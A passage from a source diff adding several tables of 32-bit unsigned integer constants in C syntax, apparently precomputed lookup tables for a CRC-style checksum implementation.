++ 2904875439u, 3024081134u, 2668790573u, 2248782444u, 3376948395u, 3495106026u, 4219356713u, 3798300520u, ++ 792689142u, 908347575u, 487136116u, 68299317u, 1263779058u, 1380486579u, 2036719216u, 1618931505u, ++ 3890672638u, 4278043327u, 3587215740u, 3435896893u, 2206873338u, 2593195963u, 2981909624u, 2829542713u, ++ 998479947u, 580430090u, 162921161u, 279890824u, 1609522511u, 1190423566u, 1842954189u, 1958874764u, ++ 4082766403u, 3930137346u, 3245109441u, 3631694208u, 2536953671u, 2385372678u, 2768287173u, 3155920004u, ++ 1900120602u, 1750776667u, 1131931800u, 1517083097u, 355290910u, 204897887u, 656092572u, 1040194781u, ++ 3113746450u, 2692952403u, 2343461520u, 2461357009u, 3723805974u, 3304059991u, 4022511508u, 4141455061u, ++ 2919742697u, 3072101800u, 2620513899u, 2234183466u, 3396041197u, 3547351212u, 4166851439u, 3779471918u, ++ 1725839073u, 2143618976u, 1424512099u, 1307796770u, 45282277u, 464110244u, 813994343u, 698327078u, ++ 3838160568u, 4259225593u, 3606301754u, 3488152955u, 2158586812u, 2578602749u, 2996767038u, 2877569151u, ++ 740041904u, 889656817u, 506086962u, 120682355u, 1215357364u, 1366020341u, 2051441462u, 1667084919u, ++ 3422213966u, 3538019855u, 4190942668u, 3772220557u, 2945847882u, 3062702859u, 2644537544u, 2226864521u, ++ 52649286u, 439905287u, 823476164u, 672009861u, 1733269570u, 2119477507u, 1434057408u, 1281543041u, ++ 2167981343u, 2552493150u, 3004082077u, 2853541596u, 3847487515u, 4233048410u, 3613549209u, 3464057816u, ++ 1239502615u, 1358593622u, 2077699477u, 1657543892u, 764250643u, 882293586u, 532408465u, 111204816u, ++ 1585378284u, 1197851309u, 1816695150u, 1968414767u, 974272232u, 587794345u, 136598634u, 289367339u, ++ 2527558116u, 2411481253u, 2760973158u, 3179948583u, 4073438432u, 3956313505u, 3237863010u, 3655790371u, ++ 347922877u, 229101820u, 646611775u, 1066513022u, 1892689081u, 1774917112u, 1122387515u, 1543337850u, ++ 3697634229u, 3313392372u, 3998419255u, 4148705398u, 3087642289u, 2702352368u, 2319436851u, 2468674930u, ++ }, { ++ 0u, 29518391u, 59036782u, 38190681u, 118073564u, 114017003u, 76381362u, 89069189u, ++ 236147128u, 265370511u, 228034006u, 206958561u, 152762724u, 148411219u, 178138378u, 190596925u, ++ 472294256u, 501532999u, 530741022u, 509615401u, 456068012u, 451764635u, 413917122u, 426358261u, ++ 305525448u, 334993663u, 296822438u, 275991697u, 356276756u, 352202787u, 381193850u, 393929805u, ++ 944588512u, 965684439u, 1003065998u, 973863097u, 1061482044u, 1049003019u, 1019230802u, 1023561829u, ++ 912136024u, 933002607u, 903529270u, 874031361u, 827834244u, 815125939u, 852716522u, 856752605u, ++ 611050896u, 631869351u, 669987326u, 640506825u, 593644876u, 580921211u, 551983394u, 556069653u, ++ 712553512u, 733666847u, 704405574u, 675154545u, 762387700u, 749958851u, 787859610u, 792175277u, ++ 1889177024u, 1901651959u, 1931368878u, 1927033753u, 2006131996u, 1985040171u, 1947726194u, 1976933189u, ++ 2122964088u, 2135668303u, 2098006038u, 2093965857u, 2038461604u, 2017599123u, 2047123658u, 2076625661u, ++ 1824272048u, 1836991623u, 1866005214u, 1861914857u, 1807058540u, 1786244187u, 1748062722u, 1777547317u, ++ 1655668488u, 1668093247u, 1630251878u, 1625932113u, 1705433044u, 1684323811u, 1713505210u, 1742760333u, ++ 1222101792u, 1226154263u, 1263738702u, 1251046777u, 1339974652u, 1310460363u, 1281013650u, 1301863845u, ++ 1187289752u, 1191637167u, 1161842422u, 1149379777u, 1103966788u, 1074747507u, 1112139306u, 1133218845u, ++ 1425107024u, 1429406311u, 1467333694u, 1454888457u, 1408811148u, 1379576507u, 1350309090u, 1371438805u, ++ 1524775400u, 1528845279u, 1499917702u, 1487177649u, 1575719220u, 1546255107u, 1584350554u, 1605185389u, ++ 3778354048u, 3774312887u, 3803303918u, 3816007129u, 3862737756u, 3892238699u, 3854067506u, 3833203973u, ++ 4012263992u, 4007927823u, 3970080342u, 3982554209u, 3895452388u, 3924658387u, 3953866378u, 3932773565u, ++ 4245928176u, 4241609415u, 4271336606u, 4283762345u, 4196012076u, 4225268251u, 4187931714u, 4166823541u, ++ 4076923208u, 4072833919u, 4035198246u, 4047918865u, 4094247316u, 4123732899u, 4153251322u, 4132437965u, ++ 3648544096u, 3636082519u, 3673983246u, 3678331705u, 3732010428u, 3753090955u, 3723829714u, 3694611429u, ++ 3614117080u, 3601426159u, 3572488374u, 3576541825u, 3496125444u, 3516976691u, 3555094634u, 3525581405u, ++ 3311336976u, 3298595879u, 3336186494u, 3340255305u, 3260503756u, 3281337595u, 3251864226u, 3222399125u, ++ 3410866088u, 3398419871u, 3368647622u, 3372945905u, 3427010420u, 3448139075u, 3485520666u, 3456284973u, ++ 2444203584u, 2423127159u, 2452308526u, 2481530905u, 2527477404u, 2539934891u, 2502093554u, 2497740997u, ++ 2679949304u, 2659102159u, 2620920726u, 2650438049u, 2562027300u, 2574714131u, 2603727690u, 2599670141u, ++ 2374579504u, 2353749767u, 2383274334u, 2412743529u, 2323684844u, 2336421851u, 2298759554u, 2294686645u, ++ 2207933576u, 2186809023u, 2149495014u, 2178734801u, 2224278612u, 2236720739u, 2266437690u, 2262135309u, ++ 2850214048u, 2820717207u, 2858812622u, 2879680249u, 2934667388u, 2938704459u, 2909776914u, 2897069605u, ++ 2817622296u, 2788420399u, 2759153014u, 2780249921u, 2700618180u, 2704950259u, 2742877610u, 2730399645u, ++ 3049550800u, 3020298727u, 3057690558u, 3078802825u, 2999835404u, 3004150075u, 2974355298u, 2961925461u, ++ 3151438440u, 3121956959u, 3092510214u, 3113327665u, 3168701108u, 3172786307u, 3210370778u, 3197646061u, ++ }, { ++ 0u, 3099354981u, 2852767883u, 313896942u, 2405603159u, 937357362u, 627793884u, 2648127673u, ++ 3316918511u, 2097696650u, 1874714724u, 3607201537u, 1255587768u, 4067088605u, 3772741427u, 1482887254u, ++ 1343838111u, 3903140090u, 4195393300u, 1118632049u, 3749429448u, 1741137837u, 1970407491u, 3452858150u, ++ 2511175536u, 756094997u, 1067759611u, 2266550430u, 449832999u, 2725482306u, 2965774508u, 142231497u, ++ 2687676222u, 412010587u, 171665333u, 2995192016u, 793786473u, 2548850444u, 2237264098u, 1038456711u, ++ 1703315409u, 3711623348u, 3482275674u, 1999841343u, 3940814982u, 1381529571u, 1089329165u, 4166106984u, ++ 4029413537u, 1217896388u, 1512189994u, 3802027855u, 2135519222u, 3354724499u, 3577784189u, 1845280792u, ++ 899665998u, 2367928107u, 2677414085u, 657096608u, 3137160985u, 37822588u, 284462994u, 2823350519u, ++ 2601801789u, 598228824u, 824021174u, 2309093331u, 343330666u, 2898962447u, 3195996129u, 113467524u, ++ 1587572946u, 3860600759u, 4104763481u, 1276501820u, 3519211397u, 1769898208u, 2076913422u, 3279374443u, ++ 3406630818u, 1941006535u, 1627703081u, 3652755532u, 1148164341u, 4241751952u, 3999682686u, 1457141531u, ++ 247015245u, 3053797416u, 2763059142u, 470583459u, 2178658330u, 963106687u, 735213713u, 2473467892u, ++ 992409347u, 2207944806u, 2435792776u, 697522413u, 3024379988u, 217581361u, 508405983u, 2800865210u, ++ 4271038444u, 1177467017u, 1419450215u, 3962007554u, 1911572667u, 3377213406u, 3690561584u, 1665525589u, ++ 1799331996u, 3548628985u, 3241568279u, 2039091058u, 3831314379u, 1558270126u, 1314193216u, 4142438437u, ++ 2928380019u, 372764438u, 75645176u, 3158189981u, 568925988u, 2572515393u, 2346768303u, 861712586u, ++ 3982079547u, 1441124702u, 1196457648u, 4293663189u, 1648042348u, 3666298377u, 3358779879u, 1888390786u, ++ 686661332u, 2421291441u, 2196002399u, 978858298u, 2811169155u, 523464422u, 226935048u, 3040519789u, ++ 3175145892u, 100435649u, 390670639u, 2952089162u, 841119475u, 2325614998u, 2553003640u, 546822429u, ++ 2029308235u, 3225988654u, 3539796416u, 1782671013u, 4153826844u, 1328167289u, 1570739863u, 3844338162u, ++ 1298864389u, 4124540512u, 3882013070u, 1608431339u, 3255406162u, 2058742071u, 1744848601u, 3501990332u, ++ 2296328682u, 811816591u, 584513889u, 2590678532u, 129869501u, 3204563416u, 2914283062u, 352848211u, ++ 494030490u, 2781751807u, 3078325777u, 264757620u, 2450577869u, 715964072u, 941166918u, 2158327331u, ++ 3636881013u, 1618608400u, 1926213374u, 3396585883u, 1470427426u, 4011365959u, 4255988137u, 1158766284u, ++ 1984818694u, 3471935843u, 3695453837u, 1693991400u, 4180638033u, 1100160564u, 1395044826u, 3952793279u, ++ 3019491049u, 189112716u, 435162722u, 2706139399u, 1016811966u, 2217162459u, 2526189877u, 774831696u, ++ 643086745u, 2666061564u, 2354934034u, 887166583u, 2838900430u, 294275499u, 54519365u, 3145957664u, ++ 3823145334u, 1532818963u, 1240029693u, 4048895640u, 1820460577u, 3560857924u, 3331051178u, 2117577167u, ++ 3598663992u, 1858283101u, 2088143283u, 3301633750u, 1495127663u, 3785470218u, 4078182116u, 1269332353u, ++ 332098007u, 2876706482u, 3116540252u, 25085497u, 2628386432u, 605395429u, 916469259u, 2384220526u, ++ 2254837415u, 1054503362u, 745528876u, 2496903497u, 151290352u, 2981684885u, 2735556987u, 464596510u, ++ 1137851976u, 4218313005u, 3923506883u, 1365741990u, 3434129695u, 1946996346u, 1723425172u, 3724871409u, ++ }, { ++ 0u, 1029712304u, 2059424608u, 1201699536u, 4118849216u, 3370159984u, 2403399072u, 2988497936u, ++ 812665793u, 219177585u, 1253054625u, 2010132753u, 3320900865u, 4170237105u, 3207642721u, 2186319825u, ++ 1625331586u, 1568718386u, 438355170u, 658566482u, 2506109250u, 2818578674u, 4020265506u, 3535817618u, ++ 1351670851u, 1844508147u, 709922595u, 389064339u, 2769320579u, 2557498163u, 3754961379u, 3803185235u, ++ 3250663172u, 4238411444u, 3137436772u, 2254525908u, 876710340u, 153198708u, 1317132964u, 1944187668u, ++ 4054934725u, 3436268917u, 2339452837u, 3054575125u, 70369797u, 961670069u, 2129760613u, 1133623509u, ++ 2703341702u, 2621542710u, 3689016294u, 3867263574u, 1419845190u, 1774270454u, 778128678u, 318858390u, ++ 2438067015u, 2888948471u, 3952189479u, 3606153623u, 1691440519u, 1504803895u, 504432359u, 594620247u, ++ 1492342857u, 1704161785u, 573770537u, 525542041u, 2910060169u, 2417219385u, 3618876905u, 3939730521u, ++ 1753420680u, 1440954936u, 306397416u, 790849880u, 2634265928u, 2690882808u, 3888375336u, 3668168600u, ++ 940822475u, 91481723u, 1121164459u, 2142483739u, 3448989963u, 4042473659u, 3075684971u, 2318603227u, ++ 140739594u, 889433530u, 1923340138u, 1338244826u, 4259521226u, 3229813626u, 2267247018u, 3124975642u, ++ 2570221389u, 2756861693u, 3824297005u, 3734113693u, 1823658381u, 1372780605u, 376603373u, 722643805u, ++ 2839690380u, 2485261628u, 3548540908u, 4007806556u, 1556257356u, 1638052860u, 637716780u, 459464860u, ++ 4191346895u, 3300051327u, 2199040943u, 3195181599u, 206718479u, 825388991u, 1989285231u, 1274166495u, ++ 3382881038u, 4106388158u, 3009607790u, 2382549470u, 1008864718u, 21111934u, 1189240494u, 2072147742u, ++ 2984685714u, 2357631266u, 3408323570u, 4131834434u, 1147541074u, 2030452706u, 1051084082u, 63335554u, ++ 2174155603u, 3170292451u, 4216760371u, 3325460867u, 1947622803u, 1232499747u, 248909555u, 867575619u, ++ 3506841360u, 3966111392u, 2881909872u, 2527485376u, 612794832u, 434546784u, 1581699760u, 1663499008u, ++ 3782634705u, 3692447073u, 2612412337u, 2799048193u, 351717905u, 697754529u, 1849071985u, 1398190273u, ++ 1881644950u, 1296545318u, 182963446u, 931652934u, 2242328918u, 3100053734u, 4284967478u, 3255255942u, ++ 1079497815u, 2100821479u, 983009079u, 133672583u, 3050795671u, 2293717799u, 3474399735u, 4067887175u, ++ 281479188u, 765927844u, 1778867060u, 1466397380u, 3846680276u, 3626469220u, 2676489652u, 2733102084u, ++ 548881365u, 500656741u, 1517752501u, 1729575173u, 3577210133u, 3898068133u, 2952246901u, 2459410373u, ++ 3910527195u, 3564487019u, 2480257979u, 2931134987u, 479546907u, 569730987u, 1716854139u, 1530213579u, ++ 3647316762u, 3825568426u, 2745561210u, 2663766474u, 753206746u, 293940330u, 1445287610u, 1799716618u, ++ 2314567513u, 3029685993u, 4080348217u, 3461678473u, 2088098201u, 1091956777u, 112560889u, 1003856713u, ++ 3112514712u, 2229607720u, 3276105720u, 4263857736u, 1275433560u, 1902492648u, 918929720u, 195422344u, ++ 685033439u, 364179055u, 1377080511u, 1869921551u, 3713294623u, 3761522863u, 2811507327u, 2599689167u, ++ 413436958u, 633644462u, 1650777982u, 1594160846u, 3978570462u, 3494118254u, 2548332990u, 2860797966u, ++ 1211387997u, 1968470509u, 854852413u, 261368461u, 3182753437u, 2161434413u, 3346310653u, 4195650637u, ++ 2017729436u, 1160000044u, 42223868u, 1071931724u, 2378480988u, 2963576044u, 4144295484u, 3395602316u, ++ }, { ++ 0u, 3411858341u, 1304994059u, 2257875630u, 2609988118u, 1355649459u, 3596215069u, 486879416u, ++ 3964895853u, 655315400u, 2711298918u, 1791488195u, 2009251963u, 3164476382u, 973758832u, 4048990933u, ++ 64357019u, 3364540734u, 1310630800u, 2235723829u, 2554806413u, 1394316072u, 3582976390u, 517157411u, ++ 4018503926u, 618222419u, 2722963965u, 1762783832u, 1947517664u, 3209171269u, 970744811u, 4068520014u, ++ 128714038u, 3438335635u, 1248109629u, 2167961496u, 2621261600u, 1466012805u, 3522553387u, 447296910u, ++ 3959392091u, 547575038u, 2788632144u, 1835791861u, 1886307661u, 3140622056u, 1034314822u, 4143626211u, ++ 75106221u, 3475428360u, 1236444838u, 2196665603u, 2682996155u, 1421317662u, 3525567664u, 427767573u, ++ 3895035328u, 594892389u, 2782995659u, 1857943406u, 1941489622u, 3101955187u, 1047553757u, 4113347960u, ++ 257428076u, 3288652233u, 1116777319u, 2311878850u, 2496219258u, 1603640287u, 3640781169u, 308099796u, ++ 3809183745u, 676813732u, 2932025610u, 1704983215u, 2023410199u, 3016104370u, 894593820u, 4262377657u, ++ 210634999u, 3352484690u, 1095150076u, 2316991065u, 2535410401u, 1547934020u, 3671583722u, 294336591u, ++ 3772615322u, 729897279u, 2903845777u, 1716123700u, 2068629644u, 2953845545u, 914647431u, 4258839074u, ++ 150212442u, 3282623743u, 1161604689u, 2388688372u, 2472889676u, 1480171241u, 3735940167u, 368132066u, ++ 3836185911u, 805002898u, 2842635324u, 1647574937u, 2134298401u, 3026852996u, 855535146u, 4188192143u, ++ 186781121u, 3229539940u, 1189784778u, 2377547631u, 2427670487u, 1542429810u, 3715886812u, 371670393u, ++ 3882979244u, 741170185u, 2864262823u, 1642462466u, 2095107514u, 3082559007u, 824732849u, 4201955092u, ++ 514856152u, 3589064573u, 1400419795u, 2552522358u, 2233554638u, 1316849003u, 3370776517u, 62202976u, ++ 4075001525u, 968836368u, 3207280574u, 1954014235u, 1769133219u, 2720925446u, 616199592u, 4024870413u, ++ 493229635u, 3594175974u, 1353627464u, 2616354029u, 2264355925u, 1303087088u, 3409966430u, 6498043u, ++ 4046820398u, 979978123u, 3170710821u, 2007099008u, 1789187640u, 2717386141u, 661419827u, 3962610838u, ++ 421269998u, 3527459403u, 1423225061u, 2676515648u, 2190300152u, 1238466653u, 3477467891u, 68755798u, ++ 4115633027u, 1041448998u, 3095868040u, 1943789869u, 1860096405u, 2776760880u, 588673182u, 3897205563u, ++ 449450869u, 3516317904u, 1459794558u, 2623431131u, 2170245475u, 1242006214u, 3432247400u, 131015629u, ++ 4137259288u, 1036337853u, 3142660115u, 1879958454u, 1829294862u, 2790523051u, 549483013u, 3952910752u, ++ 300424884u, 3669282065u, 1545650111u, 2541513754u, 2323209378u, 1092980487u, 3350330793u, 216870412u, ++ 4256931033u, 921128828u, 2960342482u, 2066738807u, 1714085583u, 2910195050u, 736264132u, 3770592353u, ++ 306060335u, 3647131530u, 1610005796u, 2494197377u, 2309971513u, 1123257756u, 3295149874u, 255536279u, ++ 4268596802u, 892423655u, 3013951305u, 2029645036u, 1711070292u, 2929725425u, 674528607u, 3815288570u, ++ 373562242u, 3709388839u, 1535949449u, 2429577516u, 2379569556u, 1183418929u, 3223189663u, 188820282u, ++ 4195850735u, 827017802u, 3084859620u, 2089020225u, 1636228089u, 2866415708u, 743340786u, 3876759895u, ++ 361896217u, 3738094268u, 1482340370u, 2466671543u, 2382584591u, 1163888810u, 3284924932u, 144124321u, ++ 4190215028u, 849168593u, 3020503679u, 2136336858u, 1649465698u, 2836138695u, 798521449u, 3838094284u, ++ }, { ++ 0u, 2792819636u, 2543784233u, 837294749u, 4098827283u, 1379413927u, 1674589498u, 3316072078u, ++ 871321191u, 2509784531u, 2758827854u, 34034938u, 3349178996u, 1641505216u, 1346337629u, 4131942633u, ++ 1742642382u, 3249117050u, 4030828007u, 1446413907u, 2475800797u, 904311657u, 68069876u, 2725880384u, ++ 1412551337u, 4064729373u, 3283010432u, 1708771380u, 2692675258u, 101317902u, 937551763u, 2442587175u, ++ 3485284764u, 1774858792u, 1478633653u, 4266992385u, 1005723023u, 2642744891u, 2892827814u, 169477906u, ++ 4233263099u, 1512406095u, 1808623314u, 3451546982u, 136139752u, 2926205020u, 2676114113u, 972376437u, ++ 2825102674u, 236236518u, 1073525883u, 2576072655u, 1546420545u, 4200303349u, 3417542760u, 1841601500u, ++ 2609703733u, 1039917185u, 202635804u, 2858742184u, 1875103526u, 3384067218u, 4166835727u, 1579931067u, ++ 1141601657u, 3799809741u, 3549717584u, 1977839588u, 2957267306u, 372464350u, 668680259u, 2175552503u, ++ 2011446046u, 3516084394u, 3766168119u, 1175200131u, 2209029901u, 635180217u, 338955812u, 2990736784u, ++ 601221559u, 2242044419u, 3024812190u, 306049834u, 3617246628u, 1911408144u, 1074125965u, 3866285881u, ++ 272279504u, 3058543716u, 2275784441u, 567459149u, 3832906691u, 1107462263u, 1944752874u, 3583875422u, ++ 2343980261u, 767641425u, 472473036u, 3126744696u, 2147051766u, 3649987394u, 3899029983u, 1309766251u, ++ 3092841090u, 506333494u, 801510315u, 2310084639u, 1276520081u, 3932237093u, 3683203000u, 2113813516u, ++ 3966292011u, 1243601823u, 2079834370u, 3716205238u, 405271608u, 3192979340u, 2411259153u, 701492901u, ++ 3750207052u, 2045810168u, 1209569125u, 4000285905u, 734575199u, 2378150379u, 3159862134u, 438345922u, ++ 2283203314u, 778166598u, 529136603u, 3120492655u, 2086260449u, 3660498261u, 3955679176u, 1303499900u, ++ 3153699989u, 495890209u, 744928700u, 2316418568u, 1337360518u, 3921775410u, 3626602927u, 2120129051u, ++ 4022892092u, 1237286280u, 2018993941u, 3726666913u, 461853231u, 3186645403u, 2350400262u, 711936178u, ++ 3693557851u, 2052076527u, 1270360434u, 3989775046u, 677911624u, 2384402428u, 3220639073u, 427820757u, ++ 1202443118u, 3789347034u, 3493118535u, 1984154099u, 3018127229u, 362020041u, 612099668u, 2181885408u, ++ 1950653705u, 3526596285u, 3822816288u, 1168934804u, 2148251930u, 645706414u, 395618355u, 2984485767u, ++ 544559008u, 2248295444u, 3085590153u, 295523645u, 3560598451u, 1917673479u, 1134918298u, 3855773998u, ++ 328860103u, 3052210803u, 2214924526u, 577903450u, 3889505748u, 1101147744u, 1883911421u, 3594338121u, ++ 3424493451u, 1785369663u, 1535282850u, 4260726038u, 944946072u, 2653270060u, 2949491377u, 163225861u, ++ 4294103532u, 1501944408u, 1752023237u, 3457862513u, 196998655u, 2915761739u, 2619532502u, 978710370u, ++ 2881684293u, 229902577u, 1012666988u, 2586515928u, 1603020630u, 4193987810u, 3356702335u, 1852063179u, ++ 2553040162u, 1046169238u, 263412747u, 2848217023u, 1818454321u, 3390333573u, 4227627032u, 1569420204u, ++ 60859927u, 2782375331u, 2487203646u, 843627658u, 4159668740u, 1368951216u, 1617990445u, 3322386585u, ++ 810543216u, 2520310724u, 2815490393u, 27783917u, 3288386659u, 1652017111u, 1402985802u, 4125677310u, ++ 1685994201u, 3255382381u, 4091620336u, 1435902020u, 2419138250u, 910562686u, 128847843u, 2715354199u, ++ 1469150398u, 4058414858u, 3222168983u, 1719234083u, 2749255853u, 94984985u, 876691844u, 2453031472u, ++ }, { ++ 0u, 3433693342u, 1109723005u, 2391738339u, 2219446010u, 1222643300u, 3329165703u, 180685081u, ++ 3555007413u, 525277995u, 2445286600u, 1567235158u, 1471092047u, 2600801745u, 361370162u, 3642757804u, ++ 2092642603u, 2953916853u, 1050555990u, 4063508168u, 4176560081u, 878395215u, 3134470316u, 1987983410u, ++ 2942184094u, 1676945920u, 3984272867u, 567356797u, 722740324u, 3887998202u, 1764827929u, 2778407815u, ++ 4185285206u, 903635656u, 3142804779u, 2012833205u, 2101111980u, 2979425330u, 1058630609u, 4088621903u, ++ 714308067u, 3862526333u, 1756790430u, 2753330688u, 2933487385u, 1651734407u, 3975966820u, 542535930u, ++ 2244825981u, 1231508451u, 3353891840u, 188896414u, 25648519u, 3442302233u, 1134713594u, 2399689316u, ++ 1445480648u, 2592229462u, 336416693u, 3634843435u, 3529655858u, 516441772u, 2420588879u, 1559052753u, ++ 698204909u, 3845636723u, 1807271312u, 2803025166u, 2916600855u, 1635634313u, 4025666410u, 593021940u, ++ 4202223960u, 919787974u, 3093159461u, 1962401467u, 2117261218u, 2996361020u, 1008193759u, 4038971457u, ++ 1428616134u, 2576151384u, 386135227u, 3685348389u, 3513580860u, 499580322u, 2471098945u, 1608776415u, ++ 2260985971u, 1248454893u, 3303468814u, 139259792u, 42591881u, 3458459159u, 1085071860u, 2349261162u, ++ 3505103035u, 474062885u, 2463016902u, 1583654744u, 1419882049u, 2550902495u, 377792828u, 3660491170u, ++ 51297038u, 3483679632u, 1093385331u, 2374089965u, 2269427188u, 1273935210u, 3311514249u, 164344343u, ++ 2890961296u, 1627033870u, 4000683757u, 585078387u, 672833386u, 3836780532u, 1782552599u, 2794821769u, ++ 2142603813u, 3005188795u, 1032883544u, 4047146438u, 4227826911u, 928351297u, 3118105506u, 1970307900u, ++ 1396409818u, 2677114180u, 287212199u, 3719594553u, 3614542624u, 467372990u, 2505346141u, 1509854403u, ++ 2162073199u, 1282711281u, 3271268626u, 240228748u, 76845205u, 3359543307u, 1186043880u, 2317064054u, ++ 796964081u, 3811226735u, 1839575948u, 2702160658u, 2882189835u, 1734392469u, 3924802934u, 625327592u, ++ 4234522436u, 818917338u, 3191908409u, 1927981223u, 2016387518u, 3028656416u, 973776579u, 4137723485u, ++ 2857232268u, 1726474002u, 3899187441u, 616751215u, 772270454u, 3803048424u, 1814228491u, 2693328533u, ++ 2041117753u, 3036871847u, 999160644u, 4146592730u, 4259508931u, 826864221u, 3217552830u, 1936586016u, ++ 3606501031u, 442291769u, 2496909786u, 1484378436u, 1388107869u, 2652297411u, 278519584u, 3694387134u, ++ 85183762u, 3384397196u, 1194773103u, 2342308593u, 2170143720u, 1307820918u, 3279733909u, 265733131u, ++ 2057717559u, 3054258089u, 948125770u, 4096344276u, 4276898253u, 843467091u, 3167309488u, 1885556270u, ++ 2839764098u, 1709792284u, 3949353983u, 667704161u, 755585656u, 3785577190u, 1865176325u, 2743489947u, ++ 102594076u, 3401021058u, 1144549729u, 2291298815u, 2186770662u, 1325234296u, 3228729243u, 215514885u, ++ 3589828009u, 424832311u, 2547870420u, 1534552650u, 1370645331u, 2635621325u, 328688686u, 3745342640u, ++ 2211456353u, 1333405183u, 3254067740u, 224338562u, 127544219u, 3408931589u, 1170156774u, 2299866232u, ++ 1345666772u, 2627681866u, 303053225u, 3736746295u, 3565105198u, 416624816u, 2522494803u, 1525692365u, ++ 4285207626u, 868291796u, 3176010551u, 1910772649u, 2065767088u, 3079346734u, 956571085u, 4121828691u, ++ 747507711u, 3760459617u, 1856702594u, 2717976604u, 2831417605u, 1684930971u, 3940615800u, 642451174u, ++ }, ++ { ++ 0u, 393942083u, 787884166u, 965557445u, 1575768332u, 1251427663u, 1931114890u, 1684106697u, ++ 3151536664u, 2896410203u, 2502855326u, 2186649309u, 3862229780u, 4048545623u, 3368213394u, 3753496529u, ++ 2898281073u, 3149616690u, 2184604407u, 2504883892u, 4046197629u, 3864463166u, 3755621371u, 3366006712u, ++ 387506281u, 6550570u, 971950319u, 781573292u, 1257550181u, 1569695014u, 1677892067u, 1937345952u, ++ 2196865699u, 2508887776u, 2886183461u, 3145514598u, 3743273903u, 3362179052u, 4058774313u, 3868258154u, ++ 958996667u, 777139448u, 400492605u, 10755198u, 1690661303u, 1941857780u, 1244879153u, 1565019506u, ++ 775012562u, 961205393u, 13101140u, 398261271u, 1943900638u, 1688634781u, 1563146584u, 1246801179u, ++ 2515100362u, 2190636681u, 3139390028u, 2892258831u, 3355784134u, 3749586821u, 3874691904u, 4052225795u, ++ 3734110983u, 3387496260u, 4033096577u, 3877584834u, 2206093835u, 2483373640u, 2911402637u, 3136515790u, ++ 1699389727u, 1915860316u, 1270647193u, 1556585946u, 950464531u, 803071056u, 374397077u, 19647702u, ++ 1917993334u, 1697207605u, 1554278896u, 1272937907u, 800985210u, 952435769u, 21510396u, 372452543u, ++ 3381322606u, 3740399405u, 3883715560u, 4027047851u, 2489758306u, 2199758369u, 3130039012u, 2917895847u, ++ 1550025124u, 1259902439u, 1922410786u, 1710144865u, 26202280u, 385139947u, 796522542u, 939715693u, ++ 3887801276u, 4039129087u, 3377269562u, 3728088953u, 3126293168u, 2905368307u, 2493602358u, 2212122229u, ++ 4037264341u, 3889747862u, 3730172755u, 3375300368u, 2907673305u, 3124004506u, 2209987167u, 2495786524u, ++ 1266377165u, 1543533966u, 1703758155u, 1928748296u, 379007169u, 32253058u, 945887303u, 790236164u, ++ 1716846671u, 1898845196u, 1218652361u, 1608006794u, 1002000707u, 750929152u, 357530053u, 36990342u, ++ 3717046871u, 3405166100u, 4084959953u, 3825245842u, 2153902939u, 2535122712u, 2929187805u, 3119304606u, ++ 3398779454u, 3723384445u, 3831720632u, 4078468859u, 2541294386u, 2147616625u, 3113171892u, 2935238647u, ++ 1900929062u, 1714877541u, 1606142112u, 1220599011u, 748794154u, 1004184937u, 39295404u, 355241455u, ++ 3835986668u, 4091516591u, 3394415210u, 3710500393u, 3108557792u, 2922629027u, 2545875814u, 2160455461u, ++ 1601970420u, 1208431799u, 1904871538u, 1727077425u, 43020792u, 367748539u, 744905086u, 991776061u, ++ 1214562461u, 1595921630u, 1720903707u, 1911159896u, 361271697u, 49513938u, 998160663u, 738569556u, ++ 4089209477u, 3838277318u, 3712633347u, 3392233024u, 2924491657u, 3106613194u, 2158369551u, 2547846988u, ++ 3100050248u, 2948339467u, 2519804878u, 2169126797u, 3844821572u, 4065347079u, 3420289730u, 3701894785u, ++ 52404560u, 342144275u, 770279894u, 982687125u, 1593045084u, 1233708063u, 1879431386u, 1736363161u, ++ 336019769u, 58479994u, 988899775u, 764050940u, 1240141877u, 1586496630u, 1729968307u, 1885744368u, ++ 2950685473u, 3097818978u, 2166999975u, 2522013668u, 4063474221u, 3846743662u, 3703937707u, 3418263272u, ++ 976650731u, 760059304u, 348170605u, 62635310u, 1742393575u, 1889649828u, 1227683937u, 1582820386u, ++ 2179867635u, 2526361520u, 2937588597u, 3093503798u, 3691148031u, 3413731004u, 4076100217u, 3851374138u, ++ 2532754330u, 2173556697u, 3087067932u, 2944139103u, 3407516310u, 3697379029u, 3857496592u, 4070026835u, ++ 758014338u, 978679233u, 64506116u, 346250567u, 1891774606u, 1740186829u, 1580472328u, 1229917259u, ++ }, { ++ 0u, 4022496062u, 83218493u, 3946298115u, 166436986u, 3861498692u, 220098631u, 3806075769u, ++ 332873972u, 4229245898u, 388141257u, 4175494135u, 440197262u, 4127099824u, 516501683u, 4044053389u, ++ 665747944u, 3362581206u, 593187285u, 3432594155u, 776282514u, 3246869164u, 716239279u, 3312622225u, ++ 880394524u, 3686509090u, 814485793u, 3746462239u, 1033003366u, 3528460888u, 963096923u, 3601193573u, ++ 1331495888u, 2694801646u, 1269355501u, 2758457555u, 1186374570u, 2843003028u, 1111716759u, 2910918825u, ++ 1552565028u, 3007850522u, 1484755737u, 3082680359u, 1432478558u, 3131279456u, 1368666979u, 3193329757u, ++ 1760789048u, 2268195078u, 1812353541u, 2210675003u, 1628971586u, 2396670332u, 1710092927u, 2318375233u, ++ 2066006732u, 2498144754u, 2144408305u, 2417195471u, 1926193846u, 2634877320u, 1983558283u, 2583222709u, ++ 2662991776u, 1903717534u, 2588923805u, 1972223139u, 2538711002u, 2022952164u, 2477029351u, 2087066841u, ++ 2372749140u, 1655647338u, 2308478825u, 1717238871u, 2223433518u, 1799654416u, 2155034387u, 1873894445u, ++ 3105130056u, 1456926070u, 3185661557u, 1378041163u, 2969511474u, 1597852940u, 3020617231u, 1539874097u, ++ 2864957116u, 1157737858u, 2922780289u, 1106542015u, 2737333958u, 1290407416u, 2816325371u, 1210047941u, ++ 3521578096u, 1042640718u, 3574781005u, 986759027u, 3624707082u, 936300340u, 3707335735u, 859512585u, ++ 3257943172u, 770846650u, 3334837433u, 688390023u, 3420185854u, 605654976u, 3475911875u, 552361981u, ++ 4132013464u, 428600998u, 4072428965u, 494812827u, 4288816610u, 274747100u, 4216845791u, 345349857u, ++ 3852387692u, 173846098u, 3781891409u, 245988975u, 3967116566u, 62328360u, 3900749099u, 121822741u, ++ 3859089665u, 164061759u, 3807435068u, 221426178u, 4025395579u, 2933317u, 3944446278u, 81334904u, ++ 4124199413u, 437265099u, 4045904328u, 518386422u, 4231653775u, 335250097u, 4174133682u, 386814604u, ++ 3249244393u, 778691543u, 3311294676u, 714879978u, 3359647891u, 662848429u, 3434477742u, 595039120u, 